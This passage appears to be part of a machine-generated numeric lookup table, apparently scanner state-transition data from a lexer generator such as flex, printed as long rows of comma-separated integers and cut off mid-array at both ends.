2816, 2813, 2805, 2813, 2817, 2806, 2818, 2819, - 2820, 2807, 2809, 2810, 2821, 2811, 2808, 2812, 2814, 2824, - 2825, 2826, 2830, 2815, 2808, 2808, 2831, 2808, 2833, 2808, - 2816, 2836, 2835, 2837, 2817, 2838, 2818, 2819, 2820, 2807, - 2839, 2840, 2821, 2835, 2841, 2843, 2844, 2824, 2825, 2826, - - 2830, 2847, 2848, 2849, 2831, 2850, 2833, 2851, 2854, 2836, - 2852, 2837, 2855, 2838, 2856, 2847, 2857, 2858, 2839, 2840, - 2859, 2852, 2841, 2843, 2844, 2860, 2861, 2862, 2863, 2847, - 2848, 2849, 2864, 2850, 2866, 2851, 2854, 2867, 2868, 2869, - 2855, 2870, 2856, 2871, 2857, 2858, 2872, 2873, 2859, 2874, - 2875, 2876, 2877, 2860, 2861, 2862, 2863, 2878, 2879, 2880, - 2864, 2881, 2866, 2882, 2883, 2867, 2868, 2869, 2884, 2870, - 2885, 2871, 2886, 2887, 2872, 2873, 2889, 2874, 2875, 2876, - 2877, 2910, 2891, 1534, 2910, 2878, 2879, 2880, 1531, 2881, - 2970, 2882, 2890, 2970, 2889, 2890, 2884, 2890, 2885, 2891, - - 2886, 2887, 2890, 2893, 2889, 2890, 2893, 2894, 2893, 2883, - 2894, 2895, 2894, 2893, 2895, 2899, 2895, 2894, 2900, 2890, - 2894, 2895, 2889, 2896, 2895, 2901, 2896, 2891, 2896, 2902, - 2893, 2905, 2899, 2896, 2894, 2900, 2896, 2916, 2895, 1477, - 2918, 2919, 2901, 2920, 3013, 2913, 2902, 2890, 2921, 3069, - 2896, 2922, 2923, 2976, 2904, 3013, 2976, 2904, 2893, 2904, - 2899, 1476, 2894, 2900, 2904, 2916, 2895, 2904, 2918, 2919, - 2901, 2920, 2906, 2905, 2902, 2906, 2921, 2906, 2896, 2922, - 2923, 2904, 2906, 2907, 2908, 2906, 2907, 2908, 2907, 2908, - 2913, 3069, 2909, 2907, 2908, 2909, 2907, 2909, 2924, 2906, - - 1468, 2925, 2909, 2911, 2927, 2928, 2911, 2930, 2911, 2904, - 2907, 2908, 2932, 2911, 1467, 2912, 2911, 2934, 2912, 2909, - 2912, 2935, 2936, 2938, 2939, 2912, 2924, 2906, 2912, 2925, - 2911, 2940, 2927, 2928, 2941, 2930, 2942, 2943, 2907, 2908, - 2932, 2944, 2912, 2945, 2946, 2934, 2947, 2909, 2948, 2935, - 2936, 2938, 2939, 2952, 2953, 2954, 2956, 2957, 2911, 2940, - 2958, 2959, 2941, 2960, 2942, 2943, 2961, 2963, 2965, 2944, - 2912, 2945, 2946, 2966, 2947, 2967, 2948, 2968, 2969, 2971, - 2973, 2952, 2953, 2954, 2956, 2957, 2974, 2975, 2958, 2959, - 2980, 2960, 2981, 2983, 2961, 2963, 2965, 2977, 2984, 2985, - - 2977, 2966, 2977, 2967, 2986, 2968, 2969, 2971, 2973, 2987, - 2988, 2989, 2990, 2991, 2974, 2975, 2991, 2995, 2980, 2996, - 2981, 2983, 2989, 2989, 2992, 2997, 2984, 2985, 2992, 2999, - 2998, 2994, 2986, 2998, 2994, 2992, 2994, 2987, 2988, 2989, - 2990, 3000, 3001, 3002, 3004, 2995, 3005, 2996, 3006, 3010, - 2989, 2989, 2992, 2997, 3011, 3014, 2992, 2999, 3016, 3017, - 3018, 3019, 3020, 2992, 3021, 3023, 3024, 3025, 3025, 3000, - 3001, 3002, 3004, 3026, 3005, 3027, 3006, 3010, 3028, 3029, - 3030, 3031, 3011, 3014, 3033, 3034, 3016, 3017, 3018, 3019, - 3020, 3035, 3021, 3023, 3024, 3025, 3025, 3036, 3037, 3038, - - 3039, 3026, 3040, 3027, 3041, 3042, 3028, 3029, 3030, 3031, - 3043, 3044, 3033, 3034, 3045, 3047, 3042, 3048, 3082, 3035, - 3049, 3051, 3044, 3053, 3236, 3036, 3037, 3038, 3039, 3054, - 3040, 3055, 3041, 3057, 3058, 3059, 3060, 3061, 3043, 3063, - 3064, 3065, 3045, 3047, 3067, 3048, 3042, 3068, 3049, 3051, - 1466, 3053, 3044, 3072, 3074, 3073, 3065, 3054, 3073, 3055, - 3082, 3057, 3058, 3059, 3060, 3061, 3236, 3063, 3064, 3065, - 3072, 1411, 3067, 3070, 3080, 3068, 3070, 3084, 3070, 3081, - 3084, 1410, 3074, 3070, 3065, 3076, 3070, 1399, 3076, 3075, - 3076, 3080, 3075, 3089, 3075, 3076, 3081, 1375, 3072, 3075, - - 3070, 3090, 3075, 1374, 3077, 3078, 3091, 3077, 3078, 3077, - 3078, 3312, 3076, 1370, 3077, 3078, 3075, 3077, 3078, 3080, - 3083, 3089, 3312, 3083, 3081, 3083, 3093, 1369, 3070, 3090, - 3083, 3077, 3078, 3083, 3091, 1368, 3085, 3095, 3097, 3085, - 3076, 3085, 3098, 3099, 3075, 3086, 3085, 3083, 3086, 3085, - 3086, 3100, 3102, 3103, 3093, 3086, 3104, 3105, 3086, 3077, - 3078, 3106, 3107, 3085, 3108, 3095, 3097, 3109, 3111, 3112, - 3098, 3099, 3086, 3113, 3114, 3083, 3116, 3117, 3118, 3100, - 3102, 3103, 3119, 3120, 3104, 3105, 3122, 3123, 3124, 3106, - 3107, 3085, 3108, 3126, 3127, 3109, 3111, 3112, 3128, 3129, - - 3086, 3113, 3114, 3130, 3116, 3117, 3118, 1367, 1366, 3121, - 3119, 3120, 3121, 1364, 3122, 3123, 3124, 3131, 3132, 3135, - 3131, 3126, 3127, 3140, 3141, 3133, 3128, 3129, 3133, 3137, - 3143, 3130, 3137, 3144, 3131, 3131, 3131, 3131, 3131, 3131, - 3131, 3131, 3131, 3145, 3146, 3139, 3132, 3135, 3139, 3147, - 3139, 3140, 3141, 3148, 3149, 3150, 3151, 3152, 3143, 3161, - 3261, 3144, 3161, 3261, 3293, 1332, 1328, 3293, 3154, 3155, - 3153, 3145, 3146, 3153, 3156, 3158, 3159, 3147, 3160, 3162, - 3163, 3148, 3149, 3150, 3151, 3152, 3164, 3153, 3153, 3153, - 3153, 3153, 3153, 3153, 3153, 3153, 3154, 3155, 3165, 3167, - - 3168, 3169, 3156, 3158, 3159, 3171, 3160, 3162, 3163, 3172, - 3174, 3175, 3176, 3178, 3164, 3179, 3181, 3182, 3183, 3184, - 3185, 3186, 3187, 3189, 3190, 3191, 3165, 3167, 3168, 3169, - 3192, 3193, 3195, 3171, 3196, 3197, 3198, 3172, 3174, 3175, - 3176, 3178, 3200, 3179, 3181, 3182, 3183, 3184, 3185, 3186, - 3187, 3189, 3190, 3191, 3202, 3205, 3208, 3209, 3192, 3193, - 3195, 3211, 3196, 3197, 3198, 3213, 3214, 3208, 3215, 1299, - 3200, 3216, 3217, 3218, 3219, 3221, 3222, 3223, 3224, 3225, - 3226, 3228, 3202, 3205, 3301, 3209, 1291, 3301, 3305, 3211, - 3225, 3305, 1289, 3213, 3214, 3239, 3215, 3208, 3228, 3216, - - 3217, 3218, 3219, 3221, 3222, 3223, 3224, 3225, 3226, 3227, - 3230, 3240, 3227, 3230, 3227, 3230, 3233, 1284, 3225, 3227, - 3230, 1278, 3227, 3239, 3231, 3232, 3228, 3231, 3232, 3231, - 3232, 3241, 3242, 3233, 3231, 3232, 3227, 3230, 3232, 3240, - 3234, 3243, 3245, 3234, 3235, 3234, 3246, 3235, 1221, 3235, - 3234, 3231, 3232, 3234, 3235, 1220, 3247, 3235, 3249, 3241, - 3242, 3233, 1219, 3237, 3227, 3230, 3237, 3234, 3237, 3243, - 3245, 3235, 3250, 3237, 3246, 3251, 3237, 1218, 3238, 3231, - 3232, 3238, 3252, 3238, 3247, 3253, 3249, 3254, 3238, 3257, - 3237, 3238, 3258, 3259, 3260, 3234, 3262, 3263, 3266, 3235, - - 3250, 3265, 3267, 3251, 3265, 3238, 3265, 3268, 3269, 3270, - 3252, 3271, 3272, 3253, 3273, 3254, 3280, 3257, 3237, 3280, - 3258, 3259, 3260, 3430, 3262, 3263, 3266, 3275, 1217, 3277, - 3267, 3279, 3282, 3238, 3430, 3268, 3269, 3270, 3283, 3271, - 3272, 3284, 3273, 3274, 3274, 3274, 3274, 3274, 3274, 3274, - 3274, 3274, 3285, 3276, 3286, 3275, 3276, 3277, 3287, 3279, - 3282, 3288, 3280, 3289, 3290, 3291, 3283, 1216, 1212, 3284, - 3276, 3276, 3276, 3276, 3276, 3276, 3276, 3276, 3276, 3294, - 3285, 3295, 3286, 3297, 3298, 3299, 3287, 3302, 3303, 3288, - 3280, 3289, 3290, 3291, 3292, 3292, 3292, 3292, 3292, 3292, - - 3292, 3292, 3292, 3304, 3306, 3307, 3308, 3294, 3307, 3295, - 3309, 3297, 3298, 3299, 3310, 3302, 3303, 3311, 3313, 3314, - 3315, 3316, 3317, 3319, 3320, 3321, 3322, 3323, 3327, 3328, - 3329, 3304, 3306, 3330, 3308, 3331, 3334, 3335, 3309, 3336, - 1211, 3339, 3310, 3341, 3342, 3311, 3313, 3314, 3315, 3316, - 3317, 3319, 3320, 3321, 3322, 3323, 3327, 3328, 3329, 3343, - 3337, 3330, 3344, 3331, 3334, 3335, 3345, 3336, 3337, 3339, - 3346, 3341, 3342, 3347, 3348, 3350, 3351, 3352, 3353, 3354, - 3355, 3359, 3357, 3362, 3359, 1210, 1196, 3343, 3337, 3363, - 3344, 1194, 3381, 1189, 3345, 3381, 3337, 3411, 3346, 3357, - - 3411, 3347, 3348, 3350, 3351, 3352, 3353, 3354, 3355, 3356, - 3358, 3362, 3356, 3358, 3356, 3358, 3364, 3363, 3365, 3356, - 3358, 3360, 3356, 3358, 3360, 3361, 3360, 3357, 3361, 3366, - 3361, 3360, 3369, 3371, 3360, 3361, 3356, 3358, 3361, 3373, - 3374, 3375, 3376, 3377, 3364, 3379, 3365, 1161, 3360, 3382, - 3385, 3386, 3361, 3387, 3388, 3389, 3390, 3366, 3391, 3392, - 3369, 3371, 1156, 3412, 3356, 3358, 3412, 3373, 3374, 3375, - 3376, 3377, 3380, 3379, 1146, 3380, 3360, 3382, 3385, 3386, - 3361, 3387, 3388, 3389, 3390, 3413, 3391, 3392, 3413, 3380, - 3380, 3380, 3380, 3380, 3380, 3380, 3380, 3380, 3383, 3383, - - 3383, 3383, 3383, 3383, 3383, 3383, 3383, 3383, 3383, 3384, - 3384, 3384, 3384, 3384, 3384, 3384, 3384, 3384, 3384, 3384, - 3393, 3395, 3397, 3383, 3394, 3394, 3394, 3394, 3394, 3394, - 3394, 3394, 3394, 3399, 3384, 3398, 3401, 3402, 3398, 3403, - 3404, 3405, 3406, 3407, 3408, 3409, 3414, 3415, 3393, 3395, - 3397, 3417, 3398, 3398, 3398, 3398, 3398, 3398, 3398, 3398, - 3398, 3399, 3418, 3416, 3401, 3402, 3416, 3403, 3404, 3405, - 3406, 3407, 3408, 3409, 3414, 3415, 3419, 3420, 3421, 3417, - 3420, 3421, 1135, 1133, 1131, 3436, 3424, 3426, 3422, 3428, - 3418, 3422, 3431, 3433, 3434, 3435, 3436, 3437, 3438, 1130, - - 1116, 3440, 3441, 3442, 3419, 3422, 3422, 3422, 3422, 3422, - 3422, 3422, 3422, 3422, 3424, 3426, 3443, 3428, 3444, 3439, - 3431, 3433, 3434, 3435, 3445, 3437, 3438, 3439, 3439, 3440, - 3441, 3442, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, - 3454, 3456, 3457, 3458, 3443, 3459, 3444, 3439, 3460, 3462, - 3463, 3464, 3445, 3466, 3467, 3439, 3439, 1115, 3469, 3470, - 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3456, - 3457, 3458, 3471, 3459, 3473, 3475, 3460, 3462, 3463, 3464, - 3468, 3466, 3467, 3468, 3479, 3468, 3469, 3470, 3481, 3484, - 3468, 3509, 3484, 3468, 3509, 3519, 1111, 1110, 3519, 3486, - - 3471, 1109, 3473, 3475, 3487, 3488, 3489, 3468, 3490, 3491, - 3492, 3494, 3479, 3495, 3498, 1108, 3481, 3482, 3482, 3482, - 3482, 3482, 3482, 3482, 3482, 3482, 3483, 3486, 3485, 3483, - 1107, 3483, 3487, 3488, 3489, 3468, 3490, 3491, 3492, 3494, - 1067, 3495, 3498, 3483, 3483, 3483, 3483, 3483, 3483, 3483, - 3483, 3483, 3485, 3485, 3485, 3485, 3485, 3485, 3485, 3485, - 3485, 3485, 3485, 3497, 3497, 3497, 3497, 3497, 3497, 3497, - 3497, 3497, 3499, 3500, 3501, 3502, 3503, 3485, 3504, 3503, - 3505, 3506, 3507, 3510, 3511, 3512, 3510, 3511, 3510, 3511, - 3513, 3514, 3515, 3516, 3514, 3517, 3514, 1014, 1013, 993, - - 3499, 3500, 3501, 3502, 980, 3503, 3504, 3522, 3505, 3506, - 3507, 3570, 3578, 3512, 3570, 3578, 969, 3526, 3513, 3520, - 3515, 3516, 3520, 3517, 3521, 3521, 3521, 3521, 3521, 3521, - 3521, 3521, 3521, 3503, 3528, 3522, 3520, 3520, 3520, 3520, - 3520, 3520, 3520, 3520, 3520, 3526, 3527, 3529, 3530, 3532, - 3533, 3534, 3527, 3535, 3536, 3537, 3538, 3540, 3543, 3545, - 3546, 3547, 3528, 3548, 3549, 3552, 3553, 3555, 3556, 3582, - 3656, 949, 3582, 3656, 3527, 3529, 3530, 3532, 3533, 3534, - 3527, 3535, 3536, 3537, 3538, 3540, 3543, 3545, 3546, 3547, - 3558, 3548, 3549, 3552, 3553, 3555, 3556, 3557, 3557, 3557, - - 3557, 3557, 3557, 3557, 3557, 3557, 3557, 3557, 3559, 3560, - 3563, 3564, 3565, 3566, 3568, 3569, 3596, 3659, 3558, 3596, - 3659, 3596, 3557, 3571, 3571, 3571, 3571, 3571, 3571, 3571, - 3571, 3571, 3575, 3576, 3577, 3579, 3559, 3560, 3563, 3564, - 3565, 3566, 3568, 3569, 3572, 3572, 3572, 3572, 3572, 3572, - 3572, 3572, 3572, 3573, 3580, 3581, 3573, 3583, 3584, 3585, - 3575, 3576, 3577, 3579, 3587, 3588, 3590, 3591, 3592, 3594, - 3573, 3573, 3573, 3573, 3573, 3573, 3573, 3573, 3573, 931, - 3601, 3589, 3580, 3581, 3589, 3583, 3584, 3585, 3593, 906, - 3602, 3593, 3587, 3588, 3590, 3591, 3592, 3594, 3589, 3589, - - 3589, 3589, 3589, 3589, 3589, 3589, 3589, 3599, 3601, 3604, - 3599, 3605, 3599, 3606, 3607, 894, 3611, 3593, 3602, 3609, - 3609, 3609, 3609, 3609, 3609, 3609, 3609, 3609, 3607, 3607, - 3607, 3607, 3607, 3607, 3607, 3607, 3607, 3604, 3612, 3605, - 3608, 3606, 3613, 3608, 3611, 3593, 3614, 3616, 3618, 3619, - 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3608, 3608, 3608, - 3608, 3608, 3608, 3608, 3608, 3608, 3612, 3627, 3628, 3629, - 3613, 3630, 3631, 3632, 3614, 3616, 3618, 3619, 3620, 3621, - 3622, 3623, 3624, 3625, 3626, 3635, 3639, 3641, 3642, 3643, - 3646, 3648, 3649, 883, 3655, 3627, 3628, 3629, 881, 3630, - - 3631, 3632, 3640, 3640, 3640, 3640, 3640, 3640, 3640, 3640, - 3640, 3640, 3640, 3635, 3639, 3641, 3642, 3643, 3646, 3648, - 3649, 3652, 3655, 3652, 3652, 3653, 3652, 3640, 3657, 3661, - 3662, 3663, 3664, 3662, 3652, 3662, 3665, 3653, 3653, 3653, - 3653, 3653, 3653, 3653, 3653, 3653, 3654, 3654, 3654, 3654, - 3654, 3654, 3654, 3654, 3654, 3658, 3657, 3661, 3658, 3663, - 3664, 3666, 3667, 879, 3665, 3726, 3679, 875, 3726, 831, - 3726, 820, 3658, 3658, 3658, 3658, 3658, 3658, 3658, 3658, - 3658, 3669, 3670, 3673, 3674, 3677, 3682, 3681, 810, 3666, - 3667, 3668, 3668, 3668, 3668, 3668, 3668, 3668, 3668, 3668, - - 3672, 3683, 3684, 3672, 3678, 3652, 3686, 3687, 3678, 3669, - 3670, 3673, 3674, 3677, 3682, 3678, 3679, 3672, 3672, 3672, - 3672, 3672, 3672, 3672, 3672, 3672, 3688, 3689, 3691, 3683, - 3684, 3685, 3678, 3692, 3686, 3687, 3678, 3681, 3693, 3694, - 3695, 3696, 3697, 3678, 3698, 3685, 3685, 3685, 3685, 3685, - 3685, 3685, 3685, 3685, 3688, 3689, 3691, 3699, 3700, 3701, - 3702, 3692, 3703, 3704, 3706, 3712, 3693, 3694, 3695, 3696, - 3697, 3702, 3698, 3703, 3714, 3716, 3718, 3719, 3725, 3719, - 3719, 3727, 3719, 806, 3751, 3699, 3700, 3701, 775, 774, - 3719, 3704, 3706, 3712, 3720, 3729, 3720, 3720, 3729, 3720, - - 3729, 3734, 3714, 3716, 3718, 3735, 3725, 3720, 3736, 3727, - 3728, 3728, 3728, 3728, 3728, 3728, 3728, 3728, 3728, 3732, - 3737, 3738, 3732, 3739, 3732, 3740, 3742, 3743, 3746, 3734, - 3747, 3748, 3749, 3735, 3751, 3753, 3736, 3741, 3741, 3741, - 3741, 3741, 3741, 3741, 3741, 3741, 3754, 3755, 3737, 3738, - 772, 3739, 3756, 3740, 3742, 3743, 3746, 3757, 3747, 3748, - 3749, 3719, 3758, 3753, 3759, 3760, 3761, 3762, 3764, 3765, - 3766, 3767, 3769, 3770, 3754, 3755, 3773, 3774, 3720, 3778, - 3756, 3766, 3780, 3784, 3788, 3757, 3786, 3781, 3774, 3786, - 3758, 3786, 3759, 3760, 3761, 3762, 3764, 3765, 3781, 3767, - - 3769, 3770, 3791, 3792, 3773, 3793, 3804, 3778, 3794, 3795, - 3780, 3784, 3796, 3797, 3798, 3781, 3799, 3800, 3801, 3799, - 3800, 3801, 3802, 3803, 3805, 3806, 3781, 3808, 3831, 3809, - 3791, 3792, 3810, 3793, 3788, 3833, 3794, 3795, 3812, 3813, - 3796, 3797, 3798, 3814, 3815, 3816, 3818, 3819, 3823, 3824, - 3802, 3803, 3805, 3806, 3825, 3808, 3804, 3809, 3826, 3828, - 3810, 3835, 3836, 3799, 3838, 3839, 3812, 3813, 3840, 3841, - 3842, 3814, 3815, 3816, 3818, 3819, 3823, 3824, 3831, 3844, - 3843, 3847, 3825, 3843, 3847, 3833, 3826, 3828, 3849, 3835, - 3836, 3799, 3838, 3839, 3850, 3852, 3840, 3841, 3842, 3845, - - 3846, 3853, 3845, 3846, 3845, 3846, 3848, 3844, 3854, 3848, - 3857, 3858, 3859, 3860, 3861, 3862, 3849, 3865, 3866, 3869, - 3871, 3866, 3850, 3852, 3872, 3873, 3874, 3876, 3877, 3853, - 3879, 3880, 3881, 3879, 3903, 3881, 3854, 3881, 3857, 3858, - 3859, 3860, 3861, 3862, 3883, 3865, 3888, 3883, 3871, 3883, - 3890, 3891, 3872, 3873, 3874, 3876, 3877, 3885, 3886, 3880, - 3885, 3886, 3885, 3886, 3892, 3894, 3895, 3896, 3897, 3869, - 3898, 3899, 3902, 3904, 3888, 3902, 3906, 3902, 3890, 3891, - 3905, 3907, 3899, 3905, 3903, 3899, 3908, 3910, 3918, 3908, - 3919, 3920, 3892, 3894, 3895, 3896, 3897, 3913, 3898, 3899, - - 3913, 3904, 3913, 3915, 3906, 3921, 3915, 3922, 3915, 3907, - 3899, 3923, 3924, 3899, 3925, 3910, 3918, 3926, 3919, 3920, - 3927, 3928, 3932, 3934, 3937, 3932, 3936, 3932, 3960, 3936, - 771, 3960, 770, 3921, 768, 3922, 763, 762, 3935, 3923, - 3924, 3935, 3925, 760, 759, 3926, 3939, 3938, 3927, 3928, - 3938, 3934, 3937, 3944, 3945, 3935, 3935, 3935, 3935, 3935, - 3935, 3935, 3935, 3935, 3938, 3938, 3938, 3938, 3938, 3938, - 3938, 3938, 3938, 3946, 3939, 3949, 3951, 3952, 3953, 3954, - 3962, 3944, 3945, 3958, 3958, 3958, 3958, 3958, 3958, 3958, - 3958, 3958, 3959, 758, 752, 3959, 745, 734, 733, 3965, - - 3966, 3946, 3967, 3949, 3951, 3952, 3953, 3954, 3962, 3959, - 3959, 3959, 3959, 3959, 3959, 3959, 3959, 3959, 3961, 3961, - 3961, 3961, 3961, 3961, 3961, 3961, 3961, 3965, 3966, 3970, - 3967, 3971, 3974, 3974, 3974, 3974, 3974, 3974, 3974, 3974, - 3974, 3979, 3982, 3975, 3984, 3985, 3975, 3983, 3983, 3983, - 3983, 3983, 3983, 3983, 3983, 3983, 3986, 3970, 3987, 3971, - 3975, 3975, 3975, 3975, 3975, 3975, 3975, 3975, 3975, 3979, - 3982, 3989, 3984, 3985, 3990, 3991, 714, 702, 691, 679, - 678, 673, 672, 670, 3986, 663, 3987, 653, 652, 650, - 646, 636, 635, 633, 630, 629, 627, 624, 623, 3989, - - 573, 542, 3990, 3991, 3994, 3994, 3994, 3994, 3994, 3994, - 3994, 3994, 3994, 3994, 3994, 3994, 3994, 3994, 3994, 3994, - 3994, 3994, 3995, 3995, 3995, 3995, 3995, 3995, 3995, 3995, - 3995, 3995, 3995, 3995, 3995, 3995, 3995, 3995, 3995, 3995, - 3996, 3996, 3996, 3996, 3996, 3996, 3996, 3996, 3996, 3996, - 3996, 3996, 3996, 3996, 3996, 3996, 3996, 3996, 3997, 3997, - 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, - 3997, 3997, 3997, 3997, 3997, 3997, 3998, 3998, 3998, 3998, - 3998, 3998, 3998, 3998, 3998, 3998, 3998, 3998, 3998, 3998, - 3998, 3998, 3998, 3998, 3999, 3999, 3999, 3999, 3999, 3999, - - 3999, 3999, 3999, 3999, 3999, 3999, 3999, 3999, 3999, 3999, - 3999, 3999, 4000, 4000, 4000, 4000, 4000, 4000, 4000, 4000, - 4000, 4000, 4000, 4000, 4000, 4000, 4000, 4000, 4000, 4000, - 4001, 4001, 4001, 4001, 4001, 4001, 4001, 4001, 4001, 4001, - 4001, 4001, 4001, 4001, 4001, 4001, 4001, 4001, 4002, 4002, - 4002, 4002, 4002, 4002, 4002, 4002, 4002, 4002, 4002, 4002, - 4002, 4002, 4002, 4002, 4002, 4002, 4003, 4003, 4003, 4003, - 4003, 4003, 4003, 4003, 4003, 4003, 4003, 4003, 4003, 4003, - 4003, 4003, 4003, 4003, 4004, 4004, 4004, 4004, 4004, 4004, - 4004, 4004, 4004, 4004, 4004, 4004, 4004, 4004, 4004, 4004, - - 4004, 4004, 4005, 4005, 4005, 4005, 4005, 4005, 4005, 4005, - 4005, 4005, 4005, 4005, 4005, 4005, 4005, 4005, 4005, 4005, - 4006, 4006, 4006, 4006, 4006, 4006, 4006, 4006, 4006, 4006, - 4006, 4006, 4006, 4006, 4006, 4006, 4006, 4006, 4007, 4007, - 4007, 4007, 4007, 4007, 4007, 4007, 4007, 4007, 4007, 4007, - 4007, 4007, 4007, 4007, 4007, 4007, 4008, 4008, 4008, 4008, - 4008, 4008, 4008, 4008, 4008, 4008, 4008, 4008, 4008, 4008, - 4008, 4008, 4008, 4008, 4009, 4009, 4009, 4009, 4009, 4009, - 4009, 4009, 4009, 4009, 4009, 4009, 4009, 4009, 4009, 4009, - 4009, 4009, 4010, 4010, 4010, 4010, 4010, 4010, 4010, 4010, - - 4010, 4010, 4010, 4010, 4010, 4010, 4010, 4010, 4010, 4010, - 4011, 4011, 4011, 4011, 4011, 4011, 4011, 4011, 4011, 4011, - 4011, 4011, 4011, 4011, 4011, 4011, 4011, 4011, 4012, 4012, - 4012, 4012, 4012, 4012, 4012, 4012, 4012, 4012, 4012, 4012, - 4012, 4012, 4012, 4012, 4012, 4012, 4013, 4013, 4013, 4013, - 4013, 4013, 4013, 4013, 4013, 4013, 4013, 4013, 4013, 4013, - 4013, 4013, 4013, 4013, 4014, 4014, 4014, 4014, 4014, 4014, - 4014, 4014, 4014, 4014, 4014, 4014, 4014, 4014, 4014, 4014, - 4014, 4014, 4015, 4015, 4015, 4015, 4015, 4015, 4015, 4015, - 4015, 4015, 4015, 4015, 4015, 4015, 4015, 4015, 4015, 4015, - - 4016, 4016, 4016, 4016, 4016, 4016, 4016, 4016, 4016, 4016, - 4016, 4016, 4016, 4016, 4016, 4016, 4016, 4016, 4017, 4017, - 538, 4017, 4017, 4017, 4017, 4017, 4017, 4017, 4017, 4017, - 4017, 4017, 4017, 4017, 4017, 4017, 4018, 4018, 4018, 4018, - 4018, 4018, 4018, 4018, 4018, 4018, 4018, 4018, 4018, 4018, - 4018, 4018, 4018, 4018, 4019, 4019, 4019, 4019, 4019, 4019, - 4019, 4019, 4019, 4019, 4019, 4019, 4019, 4019, 4019, 4019, - 4019, 4019, 4020, 4020, 4020, 4020, 4020, 4020, 4020, 4020, - 4020, 4020, 4020, 4020, 4020, 4020, 4020, 4020, 4020, 4020, - 4021, 4021, 4021, 4021, 4021, 4021, 4021, 4021, 4021, 4021, - - 4021, 4021, 4021, 4021, 4021, 4021, 4021, 4021, 4022, 4022, - 4022, 4022, 4022, 4022, 4022, 4022, 4022, 4022, 4022, 4022, - 4022, 4022, 4022, 4022, 4022, 4022, 4023, 4023, 4023, 4023, - 4023, 4023, 4023, 4023, 4023, 4023, 4023, 4023, 4023, 4023, - 4023, 4023, 4023, 4023, 4024, 4024, 4024, 4024, 4024, 4024, - 4024, 4024, 4024, 4024, 4024, 4024, 4024, 4024, 4024, 4024, - 4024, 4024, 4025, 4025, 4025, 4025, 4025, 4025, 4025, 4025, - 4025, 4025, 4025, 4025, 4025, 4025, 4025, 4025, 4025, 4025, - 4026, 4026, 4026, 4026, 4026, 4026, 4026, 4026, 4026, 4026, - 4026, 4026, 4026, 4026, 4026, 4026, 4026, 4026, 4027, 4027, - - 4027, 4027, 4027, 4027, 4027, 4027, 4027, 4027, 4027, 4027, - 4027, 4027, 4027, 4027, 4027, 4027, 4028, 4028, 4028, 4028, - 4028, 4028, 4028, 4028, 4028, 4028, 4028, 4028, 4028, 4028, - 4028, 4028, 4028, 4028, 4029, 4029, 4029, 4029, 4029, 4029, - 4029, 4029, 4029, 4029, 4029, 4029, 4029, 4029, 4029, 4029, - 4029, 4029, 4030, 4030, 4030, 4030, 4030, 4030, 4030, 4030, - 4030, 4030, 4030, 4030, 4030, 4030, 4030, 4030, 4030, 4030, - 4031, 4031, 4031, 4031, 4031, 4031, 4031, 4031, 4031, 4031, - 4031, 4031, 4031, 4031, 4031, 4031, 4031, 4031, 4032, 4032, - 4032, 4032, 4032, 4032, 4032, 4032, 4032, 4032, 4032, 4032, - - 4032, 4032, 4032, 4032, 4032, 4032, 4033, 4033, 4033, 4033, - 4033, 4033, 4033, 4033, 4033, 4033, 4033, 4033, 4033, 4033, - 4033, 4033, 4033, 4033, 4034, 4034, 4034, 4034, 4034, 4034, - 4034, 4034, 4034, 4034, 4034, 4034, 4034, 4034, 4034, 4034, - 4034, 4034, 4035, 4035, 537, 4035, 4035, 4035, 4035, 4035, - 4035, 4035, 4035, 4035, 4035, 4035, 4035, 4035, 4035, 4035, - 4036, 4036, 531, 4036, 4036, 4036, 4036, 4036, 4036, 4036, - 4036, 4036, 4036, 4036, 4036, 4036, 4036, 4036, 4037, 4037, - 530, 4037, 4037, 4037, 4037, 4037, 4037, 4037, 4037, 4037, - 4037, 4037, 4037, 4037, 4037, 4037, 4038, 4038, 4038, 4038, - - 4038, 4038, 4038, 4038, 4038, 4038, 4038, 4038, 4038, 4038, - 4038, 4038, 4038, 4038, 4039, 4039, 4039, 4039, 4039, 4039, - 4039, 4039, 4039, 4039, 4039, 4039, 4039, 4039, 4039, 4039, - 4039, 4039, 4040, 4040, 4040, 4040, 4040, 4040, 4040, 4040, - 4040, 4040, 4040, 4040, 4040, 4040, 4040, 4040, 4040, 4040, - 4041, 4041, 4041, 4041, 4041, 4041, 4041, 4041, 4041, 4041, - 4041, 4041, 4041, 4041, 4041, 4041, 4041, 4041, 4042, 4042, - 514, 4042, 4042, 4042, 4042, 4042, 4042, 4042, 4042, 4042, - 4042, 4042, 4042, 4042, 4042, 4042, 4043, 4043, 4043, 4043, - 4043, 4043, 4043, 4043, 4043, 4043, 4043, 4043, 4043, 4043, - - 4043, 4043, 4043, 4043, 4044, 4044, 4044, 4044, 4044, 4044, - 4044, 4044, 4044, 4044, 4044, 4044, 4044, 4044, 4044, 4044, - 4044, 4044, 4045, 4045, 4045, 4045, 4045, 4045, 4045, 4045, - 4045, 4045, 4045, 4045, 4045, 4045, 4045, 4045, 513, 4045, - 4046, 4046, 4046, 4046, 4046, 4046, 4046, 4046, 4046, 4046, - 4046, 4046, 4046, 4046, 4046, 4046, 4046, 4046, 4047, 4047, - 4047, 4047, 4047, 4047, 4047, 4047, 4047, 4047, 4047, 4047, - 4047, 4047, 4047, 4047, 507, 4047, 4048, 4048, 4048, 4048, - 4048, 4048, 4048, 4048, 4048, 4048, 4048, 4048, 4048, 4048, - 4048, 4048, 4048, 4048, 4049, 4049, 4049, 4049, 4049, 4049, - - 4049, 4049, 4049, 4049, 4049, 4049, 4049, 4049, 4049, 4049, - 4049, 4049, 4050, 4050, 4050, 4050, 4050, 4050, 4050, 4050, - 4050, 4050, 4050, 4050, 4050, 4050, 4050, 4050, 4050, 4050, - 4051, 4051, 4051, 4051, 4051, 4051, 4051, 4051, 4051, 4051, - 4051, 4051, 4051, 4051, 4051, 4051, 4051, 4051, 4052, 505, - 4052, 4052, 491, 479, 4052, 4052, 4052, 4052, 4052, 476, - 4052, 4052, 4052, 4052, 4052, 4053, 4053, 4053, 4053, 4053, - 4053, 4053, 4053, 4053, 4053, 4053, 4053, 4053, 4053, 4053, - 4053, 4053, 4053, 4054, 4054, 4054, 4054, 4054, 4054, 4054, - 4054, 4054, 4054, 4054, 4054, 4054, 4054, 4054, 4054, 454, - - 4054, 4055, 4055, 4055, 4055, 4055, 4055, 4055, 4055, 4055, - 4055, 4055, 4055, 4055, 4055, 4055, 4055, 